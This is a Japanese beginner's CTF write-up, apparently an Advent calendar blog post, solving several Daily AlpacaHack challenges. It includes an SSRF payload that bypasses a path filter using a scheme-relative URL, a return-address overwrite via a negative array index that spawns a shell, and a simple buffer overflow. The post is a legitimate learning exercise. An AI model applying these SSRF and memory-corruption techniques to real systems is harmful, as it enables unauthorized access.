この記事はIPFactory Advent Calender 2025 7日目の記事です。
数弱なのでCryptoは飛ばします。すみません。
Daily AlpacaHackとは
Daily AlpacaHackは、CTFプラットフォームであるAlpacaHack上で2025年12月から開始された、1日1問出題される常設CTFです。
1日1問出題する常設CTFを始めます🎄
— AlpacaHack (@AlpacaHack) November 30, 2025
初心者向けの問題を中心に、
・月〜金は新規の問題
・土日は新たに移植したCTFの過去問
を公開していきます!
本日より開催です!https://t.co/VJokcIgkGm pic.twitter.com/apSRUw7ZWT
1. AlpacaHack 2100
Misc, Welcome
Author: admin
🦙 < フラグは Daily AlpacaHack の 2100年1月 のカレンダーにあるパカ
カレンダーの次の月を表示させてみると、クエリパラメータで月が渡されているようなので、monthの値を2100-01にすると、
https://alpacahack.com/daily?month=2100-01
11~17日にかけてフラグが書いてありました。
3. Emojify
Web, Medium
Author: ark
-> 🍕
node.jsのサーバーが3つあるみたいです。
-
backend
-
/emoji/:text
受け取ったURLのパスを文字として
node-emojiというライブラリで絵文字にして返す。
-
-
frontend
-
/
絵文字にしたいテキストを入力するフォームがあり、
/apiにリクエストを送る。fetch("/api?path=/emoji/" + encodeURIComponent(text)) -
/api
クエリパラメータでpathを受け取り、wafという関数でチェックした後、URLオブジェクトを作成し、backendにリクエストを送る。
const waf = (path) => { if (typeof path !== "string") throw new Error("Invalid types"); if (!path.startsWith("/")) throw new Error("Invalid 1"); if (!path.includes("emoji")) throw new Error("Invalid 2"); return path; };const path = waf(req.query.path); const url = new URL(path, "http://backend:3000"); const emoji = await fetch(url).then((r) => r.text());
-
-
secret
-
/flag
flagを返す。ポートは1337。
-
frontendの/apiでSSRFができればsecretにアクセスできそうです。
URLオブジェクトを生成しているので、仕様を確認してみます。
例によると、スキーム相対URLが第一引数(url)に渡されると、第二引数(base)のホストが無視されるようです。
new URL("//foo.com", "https://example.com");
// => 'https://foo.com/' (see relative URLs)
あとはwafをバイパスすれば良さそうなので、以下のようなパラメータでフラグが取得できました。
http://frontend:3000/api?path=//secret:1337/flag?emoji
4. Leaked Flag Checker
Rev, Easy
Author: minaminao
みんなだいすきフラグチェッカー
challenge.cを見てみるとフラグが含まれていそう。
int main(void) {
char input[32];
const char xor_flag[] = "REDACTED";
size_t flag_len = strlen(xor_flag);
printf("Enter flag: ");
とりあえずデコンパイルしてみると、以下のような文字列が出てきました。
// BinaryNinja
int32_t main(int32_t argc, char** argv, char** envp)
{
void* fsbase;
int64_t rax = *(fsbase + 0x28);
int64_t var_46;
__builtin_strcpy(&var_46, "Fkwfdf|krdl~z");
printf("Enter flag: ");
フラグの検証部分でinputを7でXORしているので、
if((input[i] ^ 7) != xor_flag[i]) {
printf("Wrong at index %zu\n", i);
return 1;
}
Fkwfdf|krdl~zを7でXORするとフラグが取得できました。
5. Integer Writer
Pwn, Hard
Author: mora
うっかり戻りアドレス書き換えられたらシェル起動できちゃうって冷静に考えてやばくね?気をつけなきゃ...
私はC言語に詳しくないので、間違っていたらすみません!
main.c
// gcc -o chal main.c -fno-pie -no-pie
#include <stdio.h>
#include <string.h>
#include <unistd.h>
/*
** How to get the address of `win` **
$ nm chal | grep win
XXXXXXXXX
This address is **fixed** across executions, because the challenge binary
`chal` is compiled with -fno-pie (i.e., without position-independent code).
*/
void win() {
execve("/bin/sh", NULL, NULL);
}
int main(void) {
int integers[100], pos;
/* disable stdio buffering */
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf("pos > ");
scanf("%d", &pos);
if (pos >= 100) {
puts("You're a hacker!");
return 1;
}
printf("val > ");
scanf("%d", &integers[pos]);
return 0;
}
コメントによると、アドレスは固定されているようです。
nmコマンドでwinのアドレスを調べます。
$ nm chal | grep win
00000000004011d6 T win
posに負の値を指定することによって、メモリ内でintegersの前にあるmain関数の戻りアドレスを参照することができそうです。
そのため、scanf("%d", &integers[pos]);で戻りアドレスを上書きすることにより、main終了時に任意の関数を実行できます。
pos > -6 # 総当たりしました、多分デバッガーを使うべき
val > 4198870 # win関数のアドレス 0x4011d6の10進数
ls -la # 何も表示されませんが、シェルが起動しています
total 32
drwxr-xr-x 1 nobody nogroup 4096 Dec 3 21:21 .
drwxr-xr-x 1 nobody nogroup 4096 Dec 3 21:21 ..
-rw-r--r-- 1 nobody nogroup 57 Dec 1 00:13 flag.txt
-rwxr-xr-x 1 nobody nogroup 16288 Dec 2 02:02 run
6. simpleoverflow
Pwn, Easy
Author: n01e0
Cでは、0がFalse、それ以外がTrueとして扱われます。
src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
readで10バイトのバッファに16バイト(0x10)読み込んでいるので、バッファオーバーフローが発生します。
is_adminはbufの直後に配置されているので、メモリを上書きできそうです。
name:の入力で10文字以上入力するとis_adminが上書きされて、フラグが取得できます。
感想
今回初めてCTFのWriteupを書きました。初心者なのでそれぞれの仕組みについてもう少し理解したうえで、その内容について書ければよかったなぁと思います。
Daily AlpacaHackは初心者向けの問題が多いので、CTFを始めたばかりでも楽しめると思います。興味がある方はぜひ挑戦してみてください!
そうでない方も、1日1問なので、普段触らない分野へ挑戦できる機会になると思います。